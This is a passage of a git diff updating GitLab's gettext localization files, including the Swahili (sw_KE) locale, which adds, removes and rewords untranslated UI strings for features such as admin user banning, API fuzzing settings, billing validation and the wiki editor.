-msgid "To open Jaeger from GitLab to view tracing from the %{link} page, add a URL to your Jaeger server."
-msgstr ""
-
msgid "To pass variables to the triggered pipeline, add %{code_start}variables[VARIABLE]=VALUE%{code_end} to the API request."
msgstr ""
@@ -33654,13 +34318,13 @@ msgstr ""
msgid "Toggle project select"
msgstr ""
-msgid "Toggle sidebar"
+msgid "Toggle shortcuts"
msgstr ""
-msgid "Toggle the Performance Bar"
+msgid "Toggle sidebar"
msgstr ""
-msgid "Toggle this dialog"
+msgid "Toggle the Performance Bar"
msgstr ""
msgid "Toggle thread"
@@ -33690,9 +34354,6 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
-msgid "Too much data"
-msgstr ""
-
msgid "Topics (optional)"
msgstr ""
@@ -33890,6 +34551,9 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
+msgid "Trigger cluster reindexing. This feature should be used with an index that was created after 13.0."
+msgstr ""
+
msgid "Trigger manual job"
msgstr ""
@@ -34115,6 +34779,9 @@ msgstr ""
msgid "Unable to fetch branch list for this project."
msgstr ""
+msgid "Unable to fetch branches list, please close the form and try again"
+msgstr ""
+
msgid "Unable to fetch unscanned projects"
msgstr ""
@@ -34358,6 +35025,9 @@ msgstr ""
msgid "Until"
msgstr ""
+msgid "Unused"
+msgstr ""
+
msgid "Unused, previous indices: %{index_names} will be deleted after %{time} automatically."
msgstr ""
@@ -34517,6 +35187,9 @@ msgstr ""
msgid "Upload file"
msgstr ""
+msgid "Upload license"
+msgstr ""
+
msgid "Upload object map"
msgstr ""
@@ -34838,6 +35511,9 @@ msgstr ""
msgid "Use your smart card to authenticate with the LDAP server."
msgstr ""
+msgid "Used"
+msgstr ""
+
msgid "Used by members to sign in to your group in GitLab"
msgstr ""
@@ -34847,6 +35523,9 @@ msgstr ""
msgid "Used programming language"
msgstr ""
+msgid "Used to calculate the number of slices during reindexing. The multiplier will be applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
+msgstr ""
+
msgid "Used to help configure your identity provider"
msgstr ""
@@ -34955,27 +35634,45 @@ msgstr ""
msgid "UserLists|Feature flag user list"
msgstr ""
+msgid "UserLists|Get started with user lists"
+msgstr ""
+
msgid "UserLists|Lists allow you to define a set of users to be used with feature flags. %{linkStart}Read more about feature flag lists.%{linkEnd}"
msgstr ""
+msgid "UserLists|Loading user lists"
+msgstr ""
+
msgid "UserLists|Name"
msgstr ""
msgid "UserLists|New list"
msgstr ""
+msgid "UserLists|New user list"
+msgstr ""
+
msgid "UserLists|Save"
msgstr ""
msgid "UserLists|There are no users"
msgstr ""
+msgid "UserLists|There was an error fetching the user lists."
+msgstr ""
+
msgid "UserLists|User ID"
msgstr ""
msgid "UserLists|User IDs"
msgstr ""
+msgid "UserLists|User Lists"
+msgstr ""
+
+msgid "UserLists|User lists allow you to define a set of users to use with Feature Flags."
+msgstr ""
+
msgid "UserList|Delete %{name}?"
msgstr ""
@@ -35108,6 +35805,9 @@ msgstr ""
msgid "UserProfile|made a private contribution"
msgstr ""
+msgid "Username (for password-protected Elasticsearch servers)"
+msgstr ""
+
msgid "Username (optional)"
msgstr ""
@@ -35129,6 +35829,9 @@ msgstr ""
msgid "Users"
msgstr ""
+msgid "Users can launch a development environment from a GitLab browser tab when the %{linkStart}Gitpod%{linkEnd} integration is enabled."
+msgstr ""
+
msgid "Users in License"
msgstr ""
@@ -35240,6 +35943,9 @@ msgstr ""
msgid "ValueStreamAnalytics|Total number of deploys to production."
msgstr ""
+msgid "ValueStreamEvent|Items in stage"
+msgstr ""
+
msgid "ValueStreamEvent|Stage time (median)"
msgstr ""
@@ -35805,15 +36511,15 @@ msgstr ""
msgid "We don't have enough data to show this stage."
msgstr ""
-msgid "We encountered an error and our team has been notified. Please try again."
-msgstr ""
-
msgid "We have found the following errors:"
msgstr ""
msgid "We heard back from your device. You have been authenticated."
msgstr ""
+msgid "We love speaking to our users. Got more to say about your GitLab experiences?"
+msgstr ""
+
msgid "We recommend cloud-based mobile authenticator apps such as Authy, Duo Mobile, and LastPass. They can restore access if you lose your hardware device."
msgstr ""
@@ -35853,9 +36559,6 @@ msgstr ""
msgid "We've found no vulnerabilities"
msgstr ""
-msgid "Web Application Firewall"
-msgstr ""
-
msgid "Web IDE"
msgstr ""
@@ -35883,16 +36586,16 @@ msgstr ""
msgid "WebIDE|This project does not accept unsigned commits."
msgstr ""
-msgid "WebIDE|This project does not accept unsigned commits. You will not be able to commit your changes through the Web IDE."
+msgid "WebIDE|This project does not accept unsigned commits. You can’t commit changes through the Web IDE."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project."
+msgid "WebIDE|You can’t edit files directly in this project. Fork this project and submit a merge request with your changes."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project. Fork this project to make your changes and submit a merge request."
+msgid "WebIDE|You can’t edit files directly in this project. Go to your fork and submit a merge request with your changes."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project. Go to your fork to make changes and submit a merge request."
+msgid "WebIDE|You need permission to edit files directly in this project."
msgstr ""
msgid "WebexTeamsService|Send notifications about project events to Webex Teams."
@@ -35925,9 +36628,6 @@ msgstr ""
msgid "Webhooks allow you to trigger a URL if, for example, new code is pushed or a new issue is created. You can configure webhooks to listen for specific events like pushes, issues or merge requests. Group webhooks will apply to all projects in a group, allowing you to standardize webhook functionality across your entire group."
msgstr ""
-msgid "Webhooks have moved. They can now be found under the Settings menu."
-msgstr ""
-
msgid "Webhooks|Comments"
msgstr ""
@@ -36170,6 +36870,9 @@ msgstr ""
msgid "Who will be using this GitLab trial?"
msgstr ""
+msgid "Why are you signing up? (Optional)"
+msgstr ""
+
msgid "Wiki"
msgstr ""
@@ -36278,6 +36981,12 @@ msgstr ""
msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
+msgid "WikiPage|An error occured while trying to render the content editor. Please try again later."
+msgstr ""
+
+msgid "WikiPage|Are you sure you want to switch to the old editor?"
+msgstr ""
+
msgid "WikiPage|Cancel"
msgstr ""
@@ -36296,12 +37005,18 @@ msgstr ""
msgid "WikiPage|Format"
msgstr ""
+msgid "WikiPage|Keep editing"
+msgstr ""
+
msgid "WikiPage|More Information."
msgstr ""
msgid "WikiPage|Page title"
msgstr ""
+msgid "WikiPage|Retry"
+msgstr ""
+
msgid "WikiPage|Save changes"
msgstr ""
@@ -36311,6 +37026,12 @@ msgstr ""
msgid "WikiPage|Switching to the old editor will discard any changes you've made in the new editor."
msgstr ""
+msgid "WikiPage|Switching will discard any changes you've made in the new editor."
+msgstr ""
+
+msgid "WikiPage|This editor is in beta and may not display the page's contents properly."
+msgstr ""
+
msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
msgstr ""
@@ -36332,9 +37053,6 @@ msgstr ""
msgid "WikiPage|Write your content or drag files here…"
msgstr ""
-msgid "WikiPage|You are editing this page with Content Editor. This editor is in beta and may not display the page's contents properly."
-msgstr ""
-
msgid "Wikis"
msgstr ""
@@ -36503,6 +37221,9 @@ msgstr ""
msgid "You are not allowed to approve a user"
msgstr ""
+msgid "You are not allowed to log in using password"
+msgstr ""
+
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
@@ -36707,6 +37428,9 @@ msgstr ""
msgid "You cannot write to this read-only GitLab instance."
msgstr ""
+msgid "You can’t %{tag_start}edit%{tag_end} files directly in this project. Fork this project and submit a merge request with your changes."
+msgstr ""
+
msgid "You could not create a new trigger."
msgstr ""
@@ -36818,9 +37542,15 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
+msgid "You have insufficient permissions to create an escalation policy for this project"
+msgstr ""
+
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
+msgid "You have insufficient permissions to remove an escalation policy from this project"
+msgstr ""
+
msgid "You have insufficient permissions to remove an on-call rotation from this project"
msgstr ""
@@ -37103,10 +37833,10 @@ msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
-msgid "Your SSH keys with the following fingerprints are scheduled to expire soon:"
+msgid "Your SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys will not be usable in future versions of GitLab:"
msgstr ""
-msgid "Your SSH keys with the following fingerprints has expired:"
+msgid "Your SSH keys with the following fingerprints have expired. Expired SSH keys will not be usable in future versions of GitLab:"
msgstr ""
msgid "Your To-Do List"
@@ -37145,6 +37875,9 @@ msgstr ""
msgid "Your authorized applications"
msgstr ""
+msgid "Your browser does not support iFrames"
+msgstr ""
+
msgid "Your browser doesn't support U2F. Please use Google Chrome desktop (version 41 or newer)."
msgstr ""
@@ -37175,9 +37908,6 @@ msgstr ""
msgid "Your comment will be discarded."
msgstr ""
-msgid "Your custom stage '%{title}' was created"
-msgstr ""
-
msgid "Your dashboard has been copied. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
@@ -37375,9 +38105,6 @@ msgstr ""
msgid "already shared with this group"
msgstr ""
-msgid "among other things"
-msgstr ""
-
msgid "and"
msgstr ""
@@ -37713,6 +38440,45 @@ msgstr ""
msgid "closed issue"
msgstr ""
+msgid "codeQualityWalkthrough|A code quality job will now run every time you or your team members commit changes to your project. You can view the results of the code quality job in the job logs."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Congrats! Your first pipeline is running %{emojiStart}zap%{emojiEnd}"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Got it"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Let's start by creating a new CI file."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Not sure how to fix your failed job? We have compiled some tips on how to troubleshoot code quality jobs in the documentation."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Read the documentation"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Something went wrong. %{emojiStart}thinking%{emojiEnd} Let's fix it."
+msgstr ""
+
+msgid "codeQualityWalkthrough|To begin with code quality, we first need to create a new CI file using our code editor. We added a code quality template in the code editor to help you get started %{emojiStart}wink%{emojiEnd} .%{lineBreak}Take some time to review the template, when you are ready, use the %{strongStart}commit changes%{strongEnd} button at the bottom of the page."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Troubleshoot your code quality job"
+msgstr ""
+
+msgid "codeQualityWalkthrough|View the logs"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Well done! You've just automated your code quality review. %{emojiStart}raised_hands%{emojiEnd}"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Your job failed. No worries - this happens. Let's view the logs, and see how we can fix it."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Your pipeline can take a few minutes to run. If you enabled email notifications, you'll receive an email with your pipeline status. In the meantime, why don't you get some coffee? You earned it!"
+msgstr ""
+
msgid "collect usage information"
msgstr ""
@@ -37954,6 +38720,9 @@ msgstr ""
msgid "https://your-bitbucket-server"
msgstr ""
+msgid "i18n|%{language} (%{percent_translated}%% translated)"
+msgstr ""
+
msgid "image diff"
msgstr ""
@@ -38031,7 +38800,7 @@ msgstr ""
msgid "is not valid. The iteration group has to match the iteration cadence group."
msgstr ""
-msgid "is read only"
+msgid "is read-only"
msgstr ""
msgid "is too long (%{current_value}). The maximum size is %{max_size}."
@@ -38132,6 +38901,9 @@ msgid_plural "merge requests"
msgstr[0] ""
msgstr[1] ""
+msgid "merge request approvals"
+msgstr ""
+
msgid "merged %{timeAgo}"
msgstr ""
@@ -38192,9 +38964,6 @@ msgstr ""
msgid "mrWidget|Added to the merge train. There are %{mergeTrainPosition} merge requests waiting to be merged"
msgstr ""
-msgid "mrWidget|Allows commits from members who can merge to the target branch"
-msgstr ""
-
msgid "mrWidget|An error occurred while removing your approval."
msgstr ""
@@ -38222,10 +38991,7 @@ msgstr ""
msgid "mrWidget|Are you adding technical debt or code vulnerabilities?"
msgstr ""
-msgid "mrWidget|Before this can be merged, one or more threads must be resolved."
-msgstr ""
-
-msgid "mrWidget|Cancel automatic merge"
+msgid "mrWidget|Cancel"
msgstr ""
msgid "mrWidget|Check out branch"
@@ -38267,9 +39033,6 @@ msgstr ""
msgid "mrWidget|Fast-forward merge is not possible. To merge this request, first rebase locally."
msgstr ""
-msgid "mrWidget|Fork project merge requests do not create merge request pipelines that validate a post merge result unless invoked by a project member."
-msgstr ""
-
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
@@ -38285,12 +39048,18 @@ msgstr ""
msgid "mrWidget|Mark as ready"
msgstr ""
+msgid "mrWidget|Members who can merge are allowed to add commits."
+msgstr ""
+
msgid "mrWidget|Mentions"
msgstr ""
msgid "mrWidget|Merge"
msgstr ""
+msgid "mrWidget|Merge blocked: all threads must be resolved."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
@@ -38694,6 +39463,12 @@ msgstr ""
msgid "satisfied"
msgstr ""
+msgid "scan-execution-policy: policy not applied, %{policy_path} file is invalid"
+msgstr ""
+
+msgid "scan-execution-policy: policy not applied, %{policy_path} file is missing"
+msgstr ""
+
msgid "security Reports|There was an error creating the merge request"
msgstr ""
@@ -38817,6 +39592,9 @@ msgstr ""
msgid "the wiki"
msgstr ""
+msgid "then"
+msgstr ""
+
msgid "this document"
msgstr ""
diff --git a/locale/sw_KE/gitlab.po b/locale/sw_KE/gitlab.po
index 1ea8c1bf3ab..3876ab3249e 100644
--- a/locale/sw_KE/gitlab.po
+++ b/locale/sw_KE/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: sw\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-05-03 22:16\n"
+"PO-Revision-Date: 2021-06-01 20:29\n"
msgid " %{name}, confirm your email address now! "
msgstr ""
@@ -267,6 +267,11 @@ msgid_plural "%d issues successfully imported with the label"
msgstr[0] ""
msgstr[1] ""
+msgid "%d item"
+msgid_plural "%d items"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d layer"
msgid_plural "%d layers"
msgstr[0] ""
@@ -553,9 +558,6 @@ msgstr ""
msgid "%{global_id} is not a valid ID for %{expected_types}."
msgstr ""
-msgid "%{group_docs_link_start}Groups%{group_docs_link_end} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects."
-msgstr ""
-
msgid "%{group_name} activity"
msgstr ""
@@ -658,10 +660,10 @@ msgstr ""
msgid "%{link_start}Read more%{link_end} about role permissions"
msgstr ""
-msgid "%{link_start}Remove the %{draft_or_wip_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
+msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
-msgid "%{link_start}Start the title with %{draft_snippet} or %{wip_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
+msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
msgstr ""
msgid "%{listToShow}, and %{awardsListLength} more."
@@ -800,6 +802,12 @@ msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr ""
+msgid "%{rotation} has been recalculated with the remaining participants. Please review the new setup for %{rotation_link}. It is recommended that you reach out to the current on-call responder to ensure continuity of on-call coverage."
+msgstr ""
+
+msgid "%{rotation} has been recalculated with the remaining participants. Please review the new setup for %{rotation}. It is recommended that you reach out to the current on-call responder to ensure continuity of on-call coverage."
+msgstr ""
+
msgid "%{seconds}s"
msgstr ""
@@ -849,9 +857,6 @@ msgstr ""
msgid "%{strongStart}Deletes%{strongEnd} source branch"
msgstr ""
-msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
-msgstr ""
-
msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
msgstr ""
@@ -964,9 +969,15 @@ msgstr ""
msgid "%{userName}'s avatar"
msgstr ""
+msgid "%{user_name} (%{user_username}) was removed from %{rotation} in %{schedule} in %{project}. "
+msgstr ""
+
msgid "%{user_name} profile page"
msgstr ""
+msgid "%{username} changed the draft status of merge request %{mr_link}"
+msgstr ""
+
msgid "%{username} has asked for a GitLab account on your instance %{host}:"
msgstr ""
@@ -1030,9 +1041,6 @@ msgstr ""
msgid "'%{name}' Value Stream saved"
msgstr ""
-msgid "'%{name}' stage already exists"
-msgstr ""
-
msgid "'%{source}' is not a import source"
msgstr ""
@@ -1364,6 +1372,9 @@ msgstr ""
msgid "A Let's Encrypt account will be configured for this GitLab installation using your email address. You will receive emails to warn of expiring certificates."
msgstr ""
+msgid "A banned user cannot:"
+msgstr ""
+
msgid "A basic page and serverless function that uses AWS Lambda, AWS API Gateway, and GitLab Pages"
msgstr ""
@@ -1385,6 +1396,9 @@ msgstr ""
msgid "A description is required"
msgstr ""
+msgid "A different reason"
+msgstr ""
+
msgid "A file has been changed."
msgstr ""
@@ -1454,9 +1468,6 @@ msgstr ""
msgid "A project containing issues for each audit inquiry in the HIPAA Audit Protocol published by the U.S. Department of Health & Human Services"
msgstr ""
-msgid "A project is where you house your files (repository), plan your work (issues), and publish your documentation (wiki), %{among_other_things_link}."
-msgstr ""
-
msgid "A project’s repository name defines its URL (the one you use to access the project via a browser) and its place on the file disk where GitLab is installed. %{link_start}Learn more.%{link_end}"
msgstr ""
@@ -1469,6 +1480,9 @@ msgstr ""
msgid "A rebase is already in progress."
msgstr ""
+msgid "A rule must be provided to create an escalation policy"
+msgstr ""
+
msgid "A secure token that identifies an external storage request."
msgstr ""
@@ -1514,9 +1528,6 @@ msgstr ""
msgid "APIFuzzing|$VariableWithUsername"
msgstr ""
-msgid "APIFuzzing|/folder/example_file.json"
-msgstr ""
-
msgid "APIFuzzing|API Fuzzing Configuration"
msgstr ""
@@ -1556,30 +1567,24 @@ msgstr ""
msgid "APIFuzzing|Enter the name of the variable containing the username. For example, $VariableWithUsername."
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz"
+msgid "APIFuzzing|File path or URL to APIs to be tested. For example, folder/example_fuzz.har. HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.har"
+msgid "APIFuzzing|File path or URL to OpenAPI specification. For example, folder/openapi.json or http://www.example.com/openapi.json."
msgstr ""
-msgid "APIFuzzing|File path containing APIs to be tested. For example, /folder/example_file.json."
+msgid "APIFuzzing|File path or URL to requests to be tested. For example, folder/example.postman_collection.json."
msgstr ""
msgid "APIFuzzing|Generate code snippet"
msgstr ""
-msgid "APIFuzzing|HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
-msgstr ""
-
msgid "APIFuzzing|Make sure your credentials are secured"
msgstr ""
msgid "APIFuzzing|Password for basic authentication"
msgstr ""
-msgid "APIFuzzing|Postman collections are a group of saved requests you can organize into folders."
-msgstr ""
-
msgid "APIFuzzing|Predefined profiles"
msgstr ""
@@ -1595,7 +1600,7 @@ msgstr ""
msgid "APIFuzzing|Target URL"
msgstr ""
-msgid "APIFuzzing|There are two ways to perform scans."
+msgid "APIFuzzing|There are three ways to perform scans."
msgstr ""
msgid "APIFuzzing|Tip: Insert the following variables anywhere below stages and include"
@@ -1622,6 +1627,15 @@ msgstr ""
msgid "APIFuzzing|You may need a maintainer's help to secure your credentials."
msgstr ""
+msgid "APIFuzzing|folder/example.postman_collection.json"
+msgstr ""
+
+msgid "APIFuzzing|folder/example_fuzz.har"
+msgstr ""
+
+msgid "APIFuzzing|folder/openapi.json"
+msgstr ""
+
msgid "AWS Access Key"
msgstr ""
@@ -1889,6 +1903,9 @@ msgstr ""
msgid "Add a bullet list"
msgstr ""
+msgid "Add a collapsible section"
+msgstr ""
+
msgid "Add a comment to this line"
msgstr ""
@@ -2165,6 +2182,9 @@ msgstr ""
msgid "Adjust your filters/search criteria above. If you believe this may be an error, please refer to the %{linkStart}Geo Troubleshooting%{linkEnd} documentation for more information."
msgstr ""
+msgid "Admin"
+msgstr ""
+
msgid "Admin Area"
msgstr ""
@@ -2330,9 +2350,6 @@ msgstr ""
msgid "AdminSettings|Feed token"
msgstr ""
-msgid "AdminSettings|Go to General Settings"
-msgstr ""
-
msgid "AdminSettings|Keep the latest artifacts for all jobs in the latest successful pipelines"
msgstr ""
@@ -2345,9 +2362,6 @@ msgstr ""
msgid "AdminSettings|No required pipeline"
msgstr ""
-msgid "AdminSettings|PlantUML, Slack application, Third party offers, Snowplow, Amazon EKS have moved to Settings &gt; General."
-msgstr ""
-
msgid "AdminSettings|Required pipeline configuration"
msgstr ""
@@ -2372,9 +2386,6 @@ msgstr ""
msgid "AdminSettings|Set an instance-wide auto included %{link_start}pipeline configuration%{link_end}. This pipeline configuration will be run after the project's own configuration."
msgstr ""
-msgid "AdminSettings|Some settings have moved"
-msgstr ""
-
msgid "AdminSettings|Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages."
msgstr ""
@@ -2420,6 +2431,9 @@ msgstr ""
msgid "AdminUsers|(Admin)"
msgstr ""
+msgid "AdminUsers|(Banned)"
+msgstr ""
+
msgid "AdminUsers|(Blocked)"
msgstr ""
@@ -2438,6 +2452,9 @@ msgstr ""
msgid "AdminUsers|2FA Enabled"
msgstr ""
+msgid "AdminUsers|A user can validate themselves by inputting a credit/debit card, or an admin can manually validate a user."
+msgstr ""
+
msgid "AdminUsers|Access"
msgstr ""
@@ -2486,6 +2503,21 @@ msgstr ""
msgid "AdminUsers|Automatically marked as default internal user"
msgstr ""
+msgid "AdminUsers|Ban"
+msgstr ""
+
+msgid "AdminUsers|Ban user"
+msgstr ""
+
+msgid "AdminUsers|Ban user %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Banned"
+msgstr ""
+
+msgid "AdminUsers|Banning the user has the following effects:"
+msgstr ""
+
msgid "AdminUsers|Be added to groups and projects"
msgstr ""
@@ -2516,6 +2548,9 @@ msgstr ""
msgid "AdminUsers|Cohorts"
msgstr ""
+msgid "AdminUsers|Could not load user group counts. Please refresh the page to try again."
+msgstr ""
+
msgid "AdminUsers|Deactivate"
msgstr ""
@@ -2570,6 +2605,9 @@ msgstr ""
msgid "AdminUsers|It's you!"
msgstr ""
+msgid "AdminUsers|Learn more about %{link_start}banned users.%{link_end}"
+msgstr ""
+
msgid "AdminUsers|Log in"
msgstr ""
@@ -2651,6 +2689,15 @@ msgstr ""
msgid "AdminUsers|To confirm, type %{username}"
msgstr ""
+msgid "AdminUsers|Unban"
+msgstr ""
+
+msgid "AdminUsers|Unban %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Unban user"
+msgstr ""
+
msgid "AdminUsers|Unblock"
msgstr ""
@@ -2666,6 +2713,12 @@ msgstr ""
msgid "AdminUsers|Unlock user %{username}?"
msgstr ""
+msgid "AdminUsers|User is validated and can use free CI minutes on shared runners."
+msgstr ""
+
+msgid "AdminUsers|User will be blocked"
+msgstr ""
+
msgid "AdminUsers|User will not be able to access git repositories"
msgstr ""
@@ -2678,6 +2731,9 @@ msgstr ""
msgid "AdminUsers|Users can still be invited to your instance and/or add themselves if permitted based on your settings. They will not have access to your instance, nor count towards your subscribed seat count until you %{approve_link}."
msgstr ""
+msgid "AdminUsers|Validate user account"
+msgstr ""
+
msgid "AdminUsers|View pending member requests"
msgstr ""
@@ -2702,6 +2758,9 @@ msgstr ""
msgid "AdminUsers|You are about to permanently delete the user %{username}. This will delete all of the issues, merge requests, and groups linked to them. To avoid data loss, consider using the %{strongStart}block user%{strongEnd} feature instead. Once you %{strongStart}Delete user%{strongEnd}, it cannot be undone or recovered."
msgstr ""
+msgid "AdminUsers|You ban their account in the future if necessary."
+msgstr ""
+
msgid "AdminUsers|You can always block their account again if needed."
msgstr ""
@@ -2714,6 +2773,9 @@ msgstr ""
msgid "AdminUsers|You can always unblock their account, their data will remain intact."
msgstr ""
+msgid "AdminUsers|You can unban their account in the future. Their data remains intact."
+msgstr ""
+
msgid "AdminUsers|You cannot remove your own admin rights."
msgstr ""
@@ -2759,9 +2821,6 @@ msgstr ""
msgid "Advanced Search"
msgstr ""
-msgid "Advanced Search with Elasticsearch"
-msgstr ""
-
msgid "Advanced Settings"
msgstr ""
@@ -2800,9 +2859,6 @@ msgid_plural "Alerts"
msgstr[0] ""
msgstr[1] ""
-msgid "Alert integrations"
-msgstr ""
-
msgid "AlertManagement|Acknowledged"
msgstr ""
@@ -3172,9 +3228,6 @@ msgstr ""
msgid "All epics"
msgstr ""
-msgid "All features are enabled for blank projects, from templates, or when importing, but you can disable them afterward in the project settings."
-msgstr ""
-
msgid "All groups and projects"
msgstr ""
@@ -3277,6 +3330,9 @@ msgstr ""
msgid "Allowed Geo IP"
msgstr ""
+msgid "Allowed characters: +, 0-9, -, and spaces."
+msgstr ""
+
msgid "Allowed email domain restriction only permitted for top-level groups"
msgstr ""
@@ -3490,6 +3546,9 @@ msgstr ""
msgid "An error occurred while fetching markdown preview"
msgstr ""
+msgid "An error occurred while fetching participants"
+msgstr ""
+
msgid "An error occurred while fetching participants."
msgstr ""
@@ -3583,9 +3642,6 @@ msgstr ""
msgid "An error occurred while loading merge requests."
msgstr ""
-msgid "An error occurred while loading project creation UI"
-msgstr ""
-
msgid "An error occurred while loading the access tokens form, please try again."
msgstr ""
@@ -3655,7 +3711,7 @@ msgstr ""
msgid "An error occurred while reordering issues."
msgstr ""
-msgid "An error occurred while requesting data from the Jira service"
+msgid "An error occurred while requesting data from the Jira service."
msgstr ""
msgid "An error occurred while retrieving calendar activity"
@@ -4128,6 +4184,9 @@ msgstr ""
msgid "Approvers"
msgstr ""
+msgid "Approvers from private group(s) not shown"
+msgstr ""
+
msgid "Apr"
msgstr ""
@@ -4158,16 +4217,13 @@ msgstr ""
msgid "Archived in this version"
msgstr ""
-msgid "Archived project! Repository and other project resources are read only"
-msgstr ""
-
msgid "Archived project! Repository and other project resources are read-only"
msgstr ""
msgid "Archived projects"
msgstr ""
-msgid "Archiving the project will make it entirely read only. It is hidden from the dashboard and doesn't show up in searches. %{strong_start}The repository cannot be committed to, and no issues, comments, or other entities can be created.%{strong_end} %{link_start}Learn more.%{link_end}"
+msgid "Archiving the project will make it entirely read-only. It is hidden from the dashboard and doesn't show up in searches. %{strong_start}The repository cannot be committed to, and no issues, comments, or other entities can be created.%{strong_end} %{link_start}Learn more.%{link_end}"
msgstr ""
msgid "Are you ABSOLUTELY SURE you wish to delete this project?"
@@ -4746,7 +4802,7 @@ msgstr ""
msgid "Automatic deployment rollbacks"
msgstr ""
-msgid "Automatically close incidents when the associated Prometheus alert resolves."
+msgid "Automatically close associated incident when a recovery alert notification resolves an alert"
msgstr ""
msgid "Automatically create merge requests for vulnerabilities that have fixes available."
@@ -4815,6 +4871,9 @@ msgstr ""
msgid "Background Jobs"
msgstr ""
+msgid "Background Migrations"
+msgstr ""
+
msgid "Background color"
msgstr ""
@@ -4971,6 +5030,9 @@ msgstr ""
msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name}."
msgstr ""
+msgid "BillingPlans|Compare all plans"
+msgstr ""
+
msgid "BillingPlans|Congratulations, your free trial is activated."
msgstr ""
@@ -4989,6 +5051,9 @@ msgstr ""
msgid "BillingPlans|Learn more about each plan by visiting our %{pricing_page_link}."
msgstr ""
+msgid "BillingPlans|Looking to purchase or manage a subscription for your group? Navigate to your %{groups_link} and go to %{strong_open}Settings &gt; Billing.%{strong_close}"
+msgstr ""
+
msgid "BillingPlans|Manage plan"
msgstr ""
@@ -5004,6 +5069,9 @@ msgstr ""
msgid "BillingPlans|To manage the plan for this group, visit the billing section of %{parent_billing_page_link}."
msgstr ""
+msgid "BillingPlans|Upgrade to GitLab %{planNameForUpgrade}"
+msgstr ""
+
msgid "BillingPlans|While GitLab is ending availability of the Bronze plan, you can still renew your Bronze subscription one additional time before %{eoa_bronze_plan_end_date}. We are also offering a limited time free upgrade to our Premium Plan (up to 25 users)! Learn more about the changes and offers in our %{announcement_link}."
msgstr ""
@@ -5022,6 +5090,9 @@ msgstr ""
msgid "BillingPlans|frequently asked questions"
msgstr ""
+msgid "BillingPlans|group"
+msgstr ""
+
msgid "BillingPlans|monthly"
msgstr ""
@@ -5037,6 +5108,27 @@ msgstr ""
msgid "BillingPlan|Upgrade for free"
msgstr ""
+msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. If you prefer not to provide one, you can run pipelines by bringing your own runners and disabling shared runners for your project. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd} %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
+msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd}"
+msgstr ""
+
+msgid "Billings|User successfully validated"
+msgstr ""
+
+msgid "Billings|User validation required"
+msgstr ""
+
+msgid "Billings|Validate account"
+msgstr ""
+
+msgid "Billings|Validate user account"
+msgstr ""
+
+msgid "Billings|Your user account has been successfully validated. You can now use free pipeline minutes."
+msgstr ""
+
msgid "Billing|An email address is only visible for users with public emails."
msgstr ""
@@ -5049,6 +5141,9 @@ msgstr ""
msgid "Billing|An error occurred while removing a billable member"
msgstr ""
+msgid "Billing|Cannot remove user"
+msgstr ""
+
msgid "Billing|Direct memberships"
msgstr ""
@@ -5058,6 +5153,12 @@ msgstr ""
